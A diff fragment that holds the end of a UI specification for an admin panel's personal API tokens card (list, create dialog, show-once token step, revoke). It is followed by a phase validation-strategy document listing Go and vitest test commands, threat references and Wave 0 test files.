### Changed existing key
|
||||
|
||||
`myaccount.menu_description` becomes "Edit your name, email, subtitle and password, and manage your API tokens." / "Zmień imię, nazwisko, e-mail, podtytuł i hasło oraz zarządzaj tokenami API."
|
||||
|
||||
---
|
||||
|
||||
## Component Contracts
|
||||
|
||||
### 1. Placement on `/account`
|
||||
|
||||
- The API tokens card renders **after** the profile/password `<form>` and **outside** it, as a sibling inside the existing `section` stack (`gap-5`). It is never inside the `<form>`: the fixed footer "Save" saves only the profile and never touches tokens, and every token action is immediate.
|
||||
- The card uses the existing account card class verbatim: `flex flex-col gap-4 rounded-card border border-border bg-surface p-7 shadow-card`, with `data-api-tokens`.
|
||||
- The `ConfirmDialog` already mounted by `AccountView` serves revoke and close-without-copying. The panel receives the view's `useConfirm()` instance (prop or provide/inject; planner's choice).
|
||||
|
||||
### 2. Card header and toolbar
|
||||
|
||||
- Header: `flex flex-wrap items-start justify-between gap-4`. Left column `flex min-w-0 flex-col gap-1`: `h2` `api_tokens.section` (18/700) and `p` `api_tokens.section_comment` (13px muted, `max-w-[640px]`). Right: `Button variant="outline" size="sm" :icon="Plus"` with `api_tokens.create`, `data-action="create-token"`. Disabled while the list is in its first load.
|
||||
- Visual anchor: the 18/700 heading is read first, then the row names. The card has no primary fill, so it never competes with the page's footer Save.
|
||||
- Toolbar row (only after a successful load): `label.flex.items-center.gap-2` holding the native checkbox (`size-5 shrink-0 rounded-[6px] accent-primary`, `data-show-revoked`) and `api_tokens.show_revoked` (14/400). Toggling reloads the list with revoked rows included (D-09); the toggle state lives in the component only (not in the URL, not persisted).
|
||||
|
||||
### 3. Token list
|
||||
|
||||
- Container: `flex flex-col overflow-hidden rounded-inner border border-border`, `role="list"`, `data-token-list`. Rows are ordered newest first (`created_at` desc). No pagination: one user's tokens are a short list; the server returns them all.
|
||||
- Row (`role="listitem"`, `data-token-row="<id>"`): `flex items-start justify-between gap-4 border-t border-border px-4 py-3.5 first:border-t-0 max-sm:flex-col`.
|
||||
- Left column `flex min-w-0 flex-1 flex-col gap-2`:
|
||||
- Line 1, `flex flex-wrap items-center gap-2`: the token name (14/600, `[overflow-wrap:anywhere]`, never truncated, since the name is how the user tells tokens apart); the hint `g15_…a1b2` (13px `font-mono text-muted`, `aria-label` `api_tokens.hint`); the state chip when the token is expired or revoked.
|
||||
- Line 2, `flex flex-wrap gap-2`, `data-token-scopes`: one chip per stored scope, in stored order.
|
||||
- Line 3, meta: 13px muted `tabular-nums`, items joined with " · ": created, last used (or never used), then expiry (expires / expired / no expiry), and for revoked rows the revoked date.
|
||||
- Right: `Button variant="danger" size="sm" :icon="Ban"` with `api_tokens.revoke` "Revoke token", aria-label `api_tokens.revoke_named`, `data-action="revoke-token"`. Shown on active and expired rows, hidden on revoked rows. On `max-sm` it sits under the meta line (`self-start`).
|
||||
- Chips (all `inline-flex h-6 items-center rounded-pill px-2.5 text-[13px] font-semibold whitespace-nowrap`):
|
||||
|
||||
| Chip | Extra classes | Text |
|
||||
|------|---------------|------|
|
||||
| Known scope | `bg-subtle text-text` | the scope label (`*` shows `api_tokens.scope_all`); `title` = the scope's mono name |
|
||||
| Unknown scope (no longer registered, D-12 discretion) | `border border-dashed border-border-strong text-muted font-mono` | `api_tokens.unknown_scope` with the raw name; `title` `api_tokens.unknown_scope_hint` |
|
||||
| State: expired | `bg-danger-soft text-danger` | `api_tokens.state_expired` |
|
||||
| State: revoked | `border border-border-strong text-muted` | `api_tokens.state_revoked` |
|
||||
|
||||
- Revoked rows: name and meta use `text-muted`; no line-through (the chip states it in text, WCAG 1.4.1).
|
||||
- Dates: created, expires and expired show `YYYY-MM-DD`; last used and revoked show `YYYY-MM-DD HH:mm`, both in the browser's local time, the same shapes as the list `datetime` cell in `CellValue.vue` (reuse or extract that formatter; do not add a new date format).
|
||||
- Labels for list chips come from the same scope catalog the server uses (the list payload carries a label and a known flag per scope, or the panel maps names through a catalog that includes every registered scope, not only the ones the picker shows). A name with no label is rendered as unknown. The API shape is the planner's call; the rendering rule is fixed here.
|
||||
|
||||
### 4. Create dialog, step 1 (form)
|
||||
|
||||
- Shell: the `RelationPickerModal` shell, verbatim: `DialogOverlay` `fixed inset-0 z-40 bg-overlay` with `data-dialog-overlay`; `DialogContent` `fixed top-1/2 left-1/2 z-50 flex max-h-[calc(100vh-32px)] w-[calc(100%-32px)] max-w-[560px] -translate-x-1/2 -translate-y-1/2 flex-col gap-4 rounded-modal bg-surface p-6 text-text shadow-pop` with `data-dialog-content` and `data-token-dialog`, using the existing 200 ms fade/scale.
|
||||
- Header `flex items-start gap-3`: `DialogTitle` `api_tokens.create_title` (20/700 class copied) and `DialogDescription` `api_tokens.create_description` (14px muted) in a `flex min-w-0 flex-1 flex-col gap-1` column; the 34px `DialogClose` button copied from the picker (`X` 16px, aria `form.close`).
|
||||
- Body: `<form novalidate>` with `fieldset` (`disabled` while busy) holding a `flex min-h-0 flex-col gap-[18px] overflow-y-auto` stack:
|
||||
1. **Name.** `label` (14/600) + `input type="text"` `h-input` with `controlClass(invalid)`, `maxlength="100"`, `autocomplete="off"`, placeholder `api_tokens.name_placeholder`, comment line `api_tokens.name_comment` (13px muted). The server enforces the same 100-character limit and trims the value.
|
||||
2. **Expiration.** A `span` label (14/600) naming a Reka `RadioGroupRoot` (`orientation="horizontal"`, `aria-labelledby`) styled as the PermissionEditor segmented control: root `inline-flex flex-wrap gap-1 rounded-inner border border-border bg-subtle p-1`; items `inline-flex h-pager items-center rounded-tab px-4 text-[13px] whitespace-nowrap text-muted transition-colors duration-150 ease-out hover:text-text data-[state=checked]:bg-surface data-[state=checked]:text-text data-[state=checked]:shadow-tab data-[state=checked]:text-[14px] data-[state=checked]:font-semibold`. Values `30d`, `90d`, `365d`, `never` in that order; **default `90d`** (D-08). Under it, a 13px muted `tabular-nums` preview line: `api_tokens.expires_on` with today plus N days as `YYYY-MM-DD` (local), or `api_tokens.expires_never_note` for never. The server computes the stored instant; the preview is informational.
|
||||
3. **Scopes.** A `span` label (14/600) naming a `role="group"` container `overflow-hidden rounded-inner border` (`border-danger` when the scopes field has an error, else `border-border`), `data-scope-picker`. One row per scope from `GET …/account/tokens/scopes`, in server order (`*` first, then `admin:read`, then plugin scopes). The server already hides scopes that grant the user nothing (D-17); the SPA renders exactly what it receives.
|
||||
- Row: `label.flex.min-h-[56px].cursor-pointer.items-start.gap-3.border-t.border-border.px-4.py-3.first:border-t-0`, `data-scope="<name>"`. Left: native checkbox `mt-0.5 size-5 shrink-0 rounded-[6px] accent-primary`. Right `flex min-w-0 flex-col`: line 1 `flex flex-wrap items-center gap-1` with the scope label (14/600), the mono name (13px `font-mono text-muted`), and the "Read-only" chip (`bg-subtle text-muted`, chip classes above) when the scope's methods are only GET/HEAD; line 2 the description (13px muted, `[overflow-wrap:anywhere]`).
|
||||
- Rows are 12px gap (`gap-3`), the same exception 12.2 approved for picker option rows.
|
||||
- `*` checked: every other row's checkbox is unchecked and `disabled` (row `cursor-not-allowed opacity-60`), and a note shows under the group: `flex items-center gap-2 text-[13px] text-muted`, `Info` 14px, `api_tokens.scope_all_includes`. Only `["*"]` is sent. Unchecking `*` re-enables the rows (previous picks are not restored).
|
||||
- No scope pre-selected on open.
|
||||
- Field errors render under each field exactly like `AccountView`: `flex flex-col gap-0.5 text-[13px] text-danger`, one `p.flex.items-center.gap-1.5` per message with `CircleAlert` 14px, linked by `aria-describedby`, the control gets `aria-invalid="true"`. The scopes error sits under the group.
|
||||
- Footer `flex gap-2.5`: two equal-width buttons (`flex-1`), `Button variant="outline"` `api_tokens.create_cancel` "Discard token" (closes and discards input, `data-action="create-token-cancel"`) and `Button variant="primary" type="submit"` `api_tokens.create_submit`, `data-action="create-token-submit"`. Enter in the name input submits.
|
||||
- Behaviour:
|
||||
- On open, the scopes request runs; while it is pending the scopes group shows 3 skeleton rows (`min-h-[56px]` rows holding a 20px `rounded-[6px] bg-skel` square and a `h-3 w-40 rounded-[6px] bg-skel` bar) and the submit is disabled.
|
||||
- Scopes load failure: the group is replaced by the alert block (`rounded-inner bg-danger-soft px-[18px] py-3.5 text-danger`, `role="alert"`) with `api_tokens.scopes_failed`; submit stays disabled; "Discard token" closes.
|
||||
- The SPA does no client-side validation beyond `maxlength`; empty name and no scope go to the server and come back as a 422, rendered as above, with focus on the first invalid control (name input, else the first scope checkbox, else the first segment).
|
||||
- Busy: `fieldset` disabled, the primary label is `api_tokens.creating` with `LoaderCircle` 16px `animate-spin`, "Discard token" and the close button are disabled, Esc and overlay click are ignored. A second submit while busy is a no-op.
|
||||
- Non-422 failure: `api_tokens.create_failed` danger toast; the dialog stays on step 1 with input kept.
|
||||
- Closing step 1 any way (Esc, overlay, close button, "Discard token") discards input with no confirm.
|
||||
- Focus: on open, the name input; on close, back to the card's "Create token" button.
|
||||
|
||||
### 5. Create dialog, step 2 (show once)
|
||||
|
||||
- Success swaps the dialog content in place (same `DialogContent`, same width); the list reloads in the background so the new row is present when the dialog closes.
|
||||
- Header: `DialogTitle` `api_tokens.created_title`; the close button stays.
|
||||
- Notice (the visual anchor of the step): `flex items-start gap-2 rounded-inner bg-sel px-4 py-3.5 text-text`, `role="note"`, `data-token-notice`: `TriangleAlert` 16px (`mt-0.5 shrink-0`, `aria-hidden`) and `api_tokens.created_notice` (14/400). This is also the `DialogDescription`.
|
||||
- Plaintext: a `label` (`sr-only`) `api_tokens.token_label` and a full-width read-only `input` with `controlClass(false)` plus `h-input bg-subtle font-mono text-[14px]`, `readonly`, `autocomplete="off"`, `spellcheck="false"`, `data-token-plaintext`. Focus or click selects the whole value. The full token is visible, not masked: it is shown once and the user must be able to read and verify it.
|
||||
- Copy row, 8px below: `flex flex-wrap items-center gap-2`: `Button variant="outline" size="sm" :icon="Copy"` `api_tokens.copy`, `data-action="copy-token"`, then a 13px status line.
|
||||
- Copy uses `navigator.clipboard.writeText`. On success the button shows `Check` and `api_tokens.copied` for 2 s, a `sr-only` `aria-live="polite"` region announces `api_tokens.copied_announce`, and the dialog records that the token was copied.
|
||||
- When the Clipboard API is missing or rejects: the input is focused with its value selected, and the status line shows `api_tokens.copy_failed` in 13px `text-danger` with `CircleAlert` 14px (`role="alert"`). A manual copy (Ctrl+C or the context menu) on the input also counts as copied (`copy` event on the input).
|
||||
- Footer: one `Button variant="primary"` `api_tokens.done`, right-aligned (`flex justify-end`), `data-action="hide-token"`. It closes without a confirm.
|
||||
- Closing rules:
|
||||
- Overlay click never closes step 2 (`@pointer-down-outside` and `@interact-outside` prevented).
|
||||
- Esc and the close button: when the token was copied, close at once; otherwise ask `api_tokens.close_uncopied_confirm` (ConfirmDialog, `danger`) and close only on confirm.
|
||||
- Focus: on entering step 2, the "Copy token" button; on close, the card's "Create token" button.
|
||||
- Plaintext handling (security, binding): the plaintext lives only in the dialog component's local state; it is set from the create response and cleared on close (and on unmount). It is never written to a toast, the console, `localStorage`/`sessionStorage`, the URL, the router state or the list rows. Reopening the dialog always starts at step 1.
|
||||
|
||||
### 6. Revoke
|
||||
|
||||
- The row's "Revoke token" button calls `confirm.ask({ message: t('api_tokens.revoke_confirm', { name }), confirmLabel: t('api_tokens.revoke_submit'), danger: true }, run)`, where `run` sends `DELETE …/account/tokens/{id}`.
|
||||
- Success: the list reloads, `api_tokens.revoked` success toast. With "Show revoked tokens" off the row leaves the list; with it on the row turns into a revoked row. Focus moves to the card's "Create token" button.
|
||||
- 404: `api_tokens.gone` danger toast, list reloads. Other failure: `api_tokens.revoke_failed` danger toast, the row stays as it was.
|
||||
|
||||
### 7. List states
|
||||
|
||||
- **Loading (first load and toggle reload):** the list container shows 3 skeleton rows with the row padding: a `h-3 w-40` bar above a `h-3 w-64` bar, both `rounded-[6px] bg-skel`, `aria-hidden`, and the container gets `aria-busy="true"`.
|
||||
- **Load failure:** the alert block (`rounded-inner bg-danger-soft px-[18px] py-3.5 text-danger`, `role="alert"`, `data-tokens-error`) with `CircleAlert` 16px and `api_tokens.load_failed` replaces the list; the toolbar toggle is hidden; the "Create token" button stays enabled (creating does not depend on the list).
|
||||
- **Empty:** in place of the list, `flex flex-col items-center gap-2 rounded-inner border border-dashed border-border-strong px-6 py-8 text-center`, `data-tokens-empty`: a 40px `bg-subtle` circle with `KeyRound` 20px muted, `api_tokens.empty_title` (14/600), `api_tokens.empty_body` (13px muted, `max-w-[420px]`). The same block shows when "Show revoked tokens" is on and the user has no tokens at all.
|
||||
|
||||
### 8. Interactive-only and auth
|
||||
|
||||
- The SPA always calls the token endpoints with the admin JWT session, so the interactive-only refusal (D-06) never surfaces in the UI. A 401 goes through the existing client refresh-and-replay and, failing that, the existing sign-in redirect. No token-specific auth UI.
|
||||
- The panel does not show the scope picker's hidden scopes, the owner's permissions, or any permission pattern: scope labels and descriptions are the only explanation of access.
|
||||
|
||||
---
|
||||
|
||||
## UI Considerations
|
||||
|
||||
Applicable state considerations resolved (ui-consideration-probe, run post-verification 2026-10-11: 7 elements — token list, show-revoked toggle, create form, expiry control, scope picker, show-once step, revoke action — 48 element×state pairs, kinds confirmed by the user). Every pair is covered, backstopped or dismissed with a reason; 0 unresolved. Rows group pairs that share a resolution. Copy for empty and error rows lives in the Copywriting Contract.
|
||||
|
||||
| Category | Element(s) | Status | Resolution / Reason |
|
||||
|----------|------------|--------|---------------------|
|
||||
| empty | Token list | ✅ covered | With no tokens, the dashed empty block shows `api_tokens.empty_title` and `api_tokens.empty_body`; the card's "Create token" button stays the single next step |
|
||||
| loading | Token list | ✅ covered | First load and the show-revoked reload show 3 skeleton rows with `aria-busy="true"`; the "Create token" button is disabled only during the first load |
|
||||
| error | Token list | ✅ covered | A failed load replaces the list with the `api_tokens.load_failed` alert block (`role="alert"`) and hides the toggle |
|
||||
| populated | Token list | ✅ covered | Each row shows name, mono hint, scope chips, the meta line (created, last used or never used, expiry) and a "Revoke token" button; newest first |
|
||||
| partial | Token list (mixed states) | ✅ covered | Active, expired and revoked rows coexist; expired rows carry the danger-soft "Expired" chip and keep "Revoke token"; revoked rows are muted with the "Revoked" chip and no "Revoke token" button |
|
||||
| zero-one-many | Token list | ✅ covered | Zero: empty block; one or more: rows separated by `border-t`, no pagination, page scroll only |
|
||||
| overflow | Token list | ✅ covered | Rows stack vertically and the page scrolls; scope chips wrap with `flex-wrap`; on `max-sm` the "Revoke token" button moves under the meta line |
|
||||
| long-text | Token name, scope labels | ✅ covered | Names (up to 100 characters) wrap with `[overflow-wrap:anywhere]`, never truncate; scope descriptions wrap the same way; chips never truncate and wrap to new lines |
|
||||
| partial | Scope chips (unknown scope) | ✅ covered | A stored scope name that no plugin registers any more renders as a dashed muted mono chip `api_tokens.unknown_scope` with the `unknown_scope_hint` title |
|
||||
| empty | Show-revoked toggle on, no tokens | ✅ covered | Same empty block as above |
|
||||
| loading | Show-revoked toggle | ✅ covered | Toggling reloads with the list skeleton; the checkbox stays interactive |
|
||||
| loading | Scope picker | ✅ covered | 3 skeleton scope rows while `GET …/scopes` is pending; submit disabled |
|
||||
| error | Scope picker | ✅ covered | Load failure shows the `api_tokens.scopes_failed` alert block; submit stays disabled; "Discard token" closes |
|
||||
| empty | Scope picker | ✅ covered | Cannot be empty: `*` is always offered (D-17). If the server ever returns none, the scopes-failed alert block is shown |
|
||||
| partial | Scope picker with `*` | ✅ covered | Checking `*` unchecks and disables every other row and shows `api_tokens.scope_all_includes`; only `["*"]` is sent |
|
||||
| overflow / long-text | Scope picker (many plugin scopes) | ✅ covered | The dialog body scrolls inside `max-h-[calc(100vh-32px)]` while header and footer stay fixed |
|
||||
| error | Create form (422) | ✅ covered | Server messages render under the name input, the expiry group or the scopes group with `aria-invalid`; focus moves to the first invalid control; the dialog stays on step 1 |
|
||||
| error | Create form (other failure) | ✅ covered | `api_tokens.create_failed` danger toast; input kept |
|
||||
| loading | Create submit | ✅ covered | Fieldset disabled, primary shows `api_tokens.creating` with a spinner, "Discard token"/close/Esc/overlay ignored, double submit is a no-op |
|
||||
| populated | Show-once step | ✅ covered | `bg-sel` notice, full plaintext in a read-only mono input, Copy button with copied state, single "Done, hide token" primary |
|
||||
| error | Clipboard refused or unavailable | ✅ covered | The input is focused and selected, and `api_tokens.copy_failed` shows in a `role="alert"` line; a manual copy event counts as copied |
|
||||
| partial | Show-once step closed before copying | ✅ covered | Overlay click is ignored; Esc and the close button ask `api_tokens.close_uncopied_confirm` first; "Done, hide token" closes without a confirm |
|
||||
| long-text | Plaintext token | ✅ covered | 44 characters of DM Mono 14px fit the full-width input at the 560px dialog width; on narrow screens the input scrolls horizontally and a select-all copy still takes the whole value |
|
||||
| loading / error | Revoke | ✅ covered | The ConfirmDialog confirm button shows the busy spinner while the request runs; 404 shows `api_tokens.gone` and reloads; other failures show `api_tokens.revoke_failed` and keep the row |
|
||||
| populated | Plaintext never retained | 🧪 backstop | An SPA unit test asserts that after "Done, hide token" (and after Esc-confirm) the plaintext is absent from the DOM and from the panel state, that reopening starts at step 1, and that no toast text contains the token |
|
||||
| populated | Copy and live-region flow | 🧪 backstop | An SPA unit test with a stubbed `navigator.clipboard` asserts the copied state, the polite announcement, and that a rejected `writeText` selects the input and shows `api_tokens.copy_failed` |
|
||||
| partial | Close-without-copy guard | 🧪 backstop | An SPA unit test asserts that Esc on step 2 before copying opens the danger confirm and keeps the dialog on cancel, and that it closes directly after a copy |
|
||||
| zero-one-many | Scope chips per row | ✅ covered | One chip per stored scope (a token holds one or more, D-03); `*` shows the "Full access" label |
|
||||
| loading / error / overflow | Expiry segmented control | ➖ dismissed | Four static options with no async data; labels are short and the group wraps (`flex-wrap`) on narrow screens |
|
||||
| empty / loading / error | Page placement | ➖ dismissed | The card is independent of the profile form: profile load, save and 422 states are unchanged, and the footer Save never includes token data |
|
||||
| long-text | Revoke confirm message | ✅ covered | `api_tokens.revoke_confirm` interpolates the token name (up to 100 characters, possibly with no spaces). `ConfirmDialog.vue`'s `AlertDialogDescription` currently has no wrap rule, so this phase adds `[overflow-wrap:anywhere]` to it (a one-class change to the shared component, harmless for existing messages) |
|
||||
| long-text | Create form name input | ✅ covered | The single-line `h-input` scrolls horizontally like every other text input; `maxlength="100"` caps the value, and the server trims and enforces the same limit |
|
||||
| empty / partial | Create form | ✅ covered | An unfilled form or a partial one (name without scope, scope without name) is submitted as-is; the server's 422 errors render under each field as above. Expiry is never empty (default `90d`) |
|
||||
| empty / populated / partial / overflow / zero-one-many / long-text | Show-revoked toggle | ➖ dismissed | A single native checkbox with a short static label; its only states are checked/unchecked and the list reload it triggers (covered under Token list); a list load failure hides it |
|
||||
| empty / partial / long-text | Expiry segmented control | ➖ dismissed | Always has a value (default `90d`), four fixed short labels; the preview line is one short date string |
|
||||
| empty / loading / overflow | Show-once step | ➖ dismissed | The step exists only after a successful create response, so it is never empty or loading (create loading is under Create submit); its content is fixed-size (notice, one input, one button row) inside the scrolling dialog body |
|
||||
| empty / populated / partial / overflow / zero-one-many | Revoke action | ➖ dismissed | A per-row button acting on exactly one token; its states are idle, confirming, busy, success and failure (covered under Revoke and the list rows) |
|
||||
|
||||
---
|
||||
|
||||
## Registry Safety
|
||||
|
||||
| Registry | Blocks Used | Safety Gate |
|
||||
|----------|-------------|-------------|
|
||||
| shadcn official | none (shadcn not used) | not applicable |
|
||||
| third-party registries | none | not applicable |
|
||||
| npm dependencies | none added (Reka UI, `@lucide/vue` and Tailwind already installed at the versions above) | not applicable |
|
||||
|
||||
---
|
||||
|
||||
## Checker Sign-Off
|
||||
|
||||
- [x] Dimension 1 Copywriting: PASS
|
||||
- [x] Dimension 2 Visuals: PASS
|
||||
- [x] Dimension 3 Color: PASS
|
||||
- [x] Dimension 4 Typography: FLAG (inherited 700 heading weight, locked user decision 2026-10-11)
|
||||
- [x] Dimension 5 Spacing: FLAG (inherited Direction C values, locked user decision 2026-10-11)
|
||||
- [x] Dimension 6 Registry Safety: PASS
|
||||
- [x] Dimension 7 Inventory Provenance: PASS
|
||||
|
||||
**Approval:** approved 2026-10-11
|
||||
@@ -0,0 +1,94 @@
|
||||
---
|
||||
phase: "16.3"
|
||||
slug: "backend-admin-personal-api-tokens-with-scopes"
|
||||
# status lifecycle: draft (seeded by plan-phase) → validated (set by validate-phase §6)
|
||||
# audit-milestone §5.5 distinguishes NOT-VALIDATED (draft) from PARTIAL (validated + nyquist_compliant: false) (#2117)
|
||||
status: draft
|
||||
nyquist_compliant: false
|
||||
wave_0_complete: false
|
||||
created: "2026-10-11"
|
||||
---
|
||||
|
||||
# Phase 16.3 — Validation Strategy
|
||||
|
||||
> Per-phase validation contract for feedback sampling during execution.
|
||||
|
||||
---
|
||||
|
||||
## Test Infrastructure
|
||||
|
||||
| Property | Value |
|
||||
|----------|-------|
|
||||
| **Framework** | Go `testing` (+ testcontainers-go Postgres for DB suites); vitest + @vue/test-utils + happy-dom for the admin SPA |
|
||||
| **Config file** | `admin/vitest.config.ts` |
|
||||
| **Quick run command** | `go test ./modules/cabana ./modules/bouncer ./modules/pact -run 'Token|Scope|Allows' -count=1` |
|
||||
| **Full suite command** | `go vet ./... && go test ./... && npm --prefix admin test && (cd ../sm-journal-plugin && go vet ./... && go test ./...)` |
|
||||
| **Estimated runtime** | ~180 seconds (Postgres suites need a Docker host) |
|
||||
|
||||
---
|
||||
|
||||
## Sampling Rate
|
||||
|
||||
- **After every task commit:** Run the quick run command plus `go vet ./...`
|
||||
- **After every plan wave:** Run the full suite command (Postgres suites on a Docker host)
|
||||
- **Before `/msd-verify-work`:** `scripts/check-phase16.3.sh` must be green (no skips, no zero-test stages)
|
||||
- **Max feedback latency:** 180 seconds
|
||||
|
||||
---
|
||||
|
||||
## Per-Task Verification Map
|
||||
|
||||
Filled in by the planner from the RESEARCH.md test map and the four PLAN.md files. "Docker" commands need a reachable Docker daemon (testcontainers Postgres); without one they are recorded NOT RUN, never skipped. Plan 04 replaces each status with the real result.
|
||||
|
||||
| Task ID | Plan | Wave | Requirement | Threat Ref | Secure Behavior | Test Type | Automated Command | File Exists | Status |
|
||||
|---------|------|------|-------------|------------|-----------------|-----------|-------------------|-------------|--------|
|
||||
| 16.3-01-T1 | 01 | 1 | SC-1, SC-2 | T-16.3-01, T-16.3-02, T-16.3-04, T-16.3-07, T-16.3-11 | g15_ token runs as its owner; scope evaluated before the superuser shortcut; method refusal 403 token_scope; malformed tokens refused before the database | unit + Docker | `go test -count=1 -run '^(TestTokenTracerSmoke\|TestPhase09PermissionMatrix\|TestPhase09ContractInventory\|TestPhase10ConformanceInventory)$' ./modules/cabana`; Docker: `go test -count=1 -run '^TestTokenTracerPostgres$' ./modules/cabana` and `go test -count=1 -run '^(TestBackendAdminMetadataColumn\|TestPhase09MigrationsFreshRollback)$' ./modules/lagoon` | ❌ W0 | ⬜ pending |
|
||||
| 16.3-01-T2 | 01 | 1 | SC-2 | T-16.3-05, T-16.3-06, T-16.3-09, T-16.3-13 | interactive-only routes refuse every token; /field-types and /markdown/preview gated; ResolveBackend Bearer-only with cover; stamp debounced and non-fatal | unit + Docker | `go test -count=1 -run '^(TestTokenTracerSmoke\|TestTokenGatesSmoke\|TestPhase09PermissionMatrix\|TestPhase09ContractInventory\|TestPhase10ConformanceInventory\|TestPhase10CSRF)$' ./modules/cabana`; Docker: `go test -count=1 -run '^(TestTokenTracerPostgres\|TestAdminAuthLifecycle\|TestAdminLogoutRevokesExpiredRefreshableToken)$' ./modules/cabana` | ❌ W0 | ⬜ pending |
|
||||
| 16.3-01-T3 | 01 | 1 | SC-3 | T-16.3-03, T-16.3-08 | plaintext only in the 201 create body; own-only soft revoke; 422 on unknown, empty or non-overlapping scopes | unit + script + Docker | `go test -count=1 -run '^(TestPhase09PermissionMatrix\|TestPhase09ContractInventory\|TestPhase10ConformanceInventory\|TestTokenTracerSmoke\|TestTokenGatesSmoke)$' ./modules/cabana && bash scripts/check-admin-openapi.sh --check && npm --prefix admin run typecheck`; Docker: `go test -count=1 -run '^(TestAccountTokensSmoke\|TestPhase10OpenAPIConformance)$' ./modules/cabana` | ❌ W0 | ⬜ pending |
|
||||
| 16.3-01-T4 | 01 | 1 | SC-3, SC-5 | T-16.3-03, T-16.3-08 | admin:token:create prints only the token; CLI applies the overlap rule; docs name no consuming application | unit + Docker | `go vet ./... && go test -count=1 ./modules/party ./modules/pact && go test -count=1 -run '^(TestDocsTree\|TestDelegateCommandsHelp\|TestDocsCommandsMirrorGeneratedMain)$' ./cmd/summer && go run ./cmd/summer docs:build --check && go test -short -count=1 -run '^(TestPluginActivates\|TestRoutesRegistered)$' ./docs/examples/blog`; Docker: `go test -count=1 -run '^(TestTokenCommandsSmoke\|TestAdminCreateCommand)$' ./modules/cabana` | ❌ W0 | ⬜ pending |
|
||||
| 16.3-02-T1 | 02 | 2 | SC-3 | T-16.3-14, T-16.3-16 | plaintext shown once and cleared on Done; no storage, console or v-html in the account components | vitest + script | `npm --prefix admin run typecheck && npm --prefix admin test -- tests/account/ApiTokensPanel.test.ts tests/views/AccountView.test.ts && bash scripts/check-admin-openapi.sh --check && bash scripts/check-admin-dist.sh` | ❌ W0 | ⬜ pending |
|
||||
| 16.3-02-T2 | 02 | 2 | SC-3 | T-16.3-16 | revoke through the shared confirm; names rendered as text | vitest + script | `npm --prefix admin run typecheck && npm --prefix admin test -- tests/account/ApiTokensPanel.test.ts tests/views/AccountView.test.ts tests/ui/ui.test.ts && bash scripts/check-admin-dist.sh` | ❌ W0 | ⬜ pending |
|
||||
| 16.3-02-T3 | 02 | 2 | SC-3, SC-5 | T-16.3-14, T-16.3-15, T-16.3-17 | `*` sends only ["*"]; close-without-copy guard; clipboard fallback; server-filtered scopes only | vitest + docs | `npm --prefix admin run typecheck && npm --prefix admin test && bash scripts/check-admin-dist.sh && go test -count=1 ./cmd/summer -run TestDocsTree` | ❌ W0 | ⬜ pending |
|
||||
| 16.3-03-T1 | 03 | 3 | SC-4 | T-16.3-18, T-16.3-20, T-16.3-21 | Journal writes accept a journal-scoped token as the owner; resolver errors map to the PHP bodies | unit + Docker | `go -C ../sm-journal-plugin vet ./... && go -C ../sm-journal-plugin test -count=1 -run '^TestResolveErrorMapping$' ./controllers/api/ && go -C ../sm-journal-plugin test -count=1 ./classes/ ./controllers/...`; Docker: `go -C ../sm-journal-plugin test -count=1 -run '^TestJournalTokenTracer$' .` | ❌ W0 | ⬜ pending |
|
||||
| 16.3-03-T2 | 03 | 3 | SC-2, SC-4, SC-5 | T-16.3-18, T-16.3-19, T-16.3-23 | journal:read and unrelated scopes refused on writes; drafts only as the owner may see; featured-image parity | docs + Docker | `go test -count=1 -run '^ExampleResolveBackend$\|^TestDocsTree$' ./modules/cabana ./cmd/summer && go run ./cmd/summer docs:build --check`; Docker: `go -C ../sm-journal-plugin test -count=1 -run '^(TestJournalTokenTracer\|TestJournalTokenExpansion\|TestJournalWriteUnauthenticated\|TestJournalFeaturedImageUnauthenticated)$' .` | ❌ W0 | ⬜ pending |
|
||||
| 16.3-03-T3 | 03 | 3 | SC-4 | T-16.3-22 | human approves the tag with the one-way surfaces and NOT RUN suites listed | gate + checkpoint | release gate command in 16.3-03-PLAN.md Task 3 (`… && echo release-gate-ok`) | ✅ | ⬜ pending |
|
||||
| 16.3-03-T4 | 03 | 3 | SC-4 | T-16.3-22 | tag, Journal require and host gitlink pushed only after approval | git checks | release-ok command in 16.3-03-PLAN.md Task 4 | ✅ | ⬜ pending |
|
||||
| 16.3-04-T1 | 04 | 4 | SC-6, SC-2 | T-16.3-25 | scope rules, every route's token class, SPA plaintext backstop, Journal scope keys | unit + vitest + Docker | `go test -count=1 -run '^(TestScopeMatch\|TestAllowsScope\|TestTokenRouteGates)$' ./modules/cabana && npm --prefix admin test -- tests/account/ApiTokenCreateDialog.test.ts && go -C ../sm-journal-plugin test -short -count=1 -run '^TestJournalTokenScopes$' .`; Docker: `go test -count=1 -run '^TestBackendTokenPostgres$' ./modules/cabana` | ❌ W0 | ⬜ pending |
|
||||
| 16.3-04-T2 | 04 | 4 | SC-6, SC-1..SC-4 | T-16.3-25, T-16.3-26 | full Go coverage incl. migration, API, CLI and Journal matrix | unit + Docker | the sixteen-name Docker-free cabana set in 16.3-04-PLAN.md Task 2; Docker: lagoon, cabana and Journal sets in the same task | ❌ W0 | ⬜ pending |
|
||||
| 16.3-04-T3 | 04 | 4 | SC-6 | T-16.3-24 | gate fails closed on skips, zero tests and missing names | vitest + gate | `npm --prefix admin run typecheck && npm --prefix admin test && bash scripts/check-phase16.3.sh --self-test && bash scripts/check-phase16.3.sh --all` | ❌ W0 | ⬜ pending |
|
||||
|
||||
*Status: ⬜ pending · ✅ green · ❌ red · ⚠️ flaky*
|
||||
|
||||
---
|
||||
|
||||
## Wave 0 Requirements
|
||||
|
||||
- [ ] `modules/cabana/token_smoke_test.go`, `token_postgres_smoke_test.go` — plan 01 smoke (tracer, gates, account API, commands)
|
||||
- [ ] `modules/cabana/token_scopes_test.go`, `api_tokens_test.go`, `token_guard_test.go`, `token_routes_test.go` — Allows / scope match / compile / overlap / mint / expiry / validation / guard / resolver / route classification (Docker-free, plan 04)
|
||||
- [ ] `modules/cabana/token_postgres_test.go`, `account_tokens_test.go`, `token_commands_test.go` — Postgres guard, account token API, token commands with stdout purity (plan 04)
|
||||
- [ ] `modules/lagoon/backend_admin_migrations_test.go` — `TestBackendAPITokensMigration` and the updated last-ID test
|
||||
- [ ] `admin/tests/account/ApiTokensPanel.test.ts`, `admin/tests/account/ApiTokenCreateDialog.test.ts` — UI-SPEC states and backstops (path chosen in plan 02; `tests/components/` does not exist)
|
||||
- [ ] `../sm-journal-plugin/controllers/api/auth_test.go`, `journal_api_token_smoke_test.go`, `token_scopes_test.go`, `journal_api_tokens_test.go` — Journal mapping, scopes and token matrix
|
||||
- [ ] `scripts/check-phase16.3.sh` — phase gate
|
||||
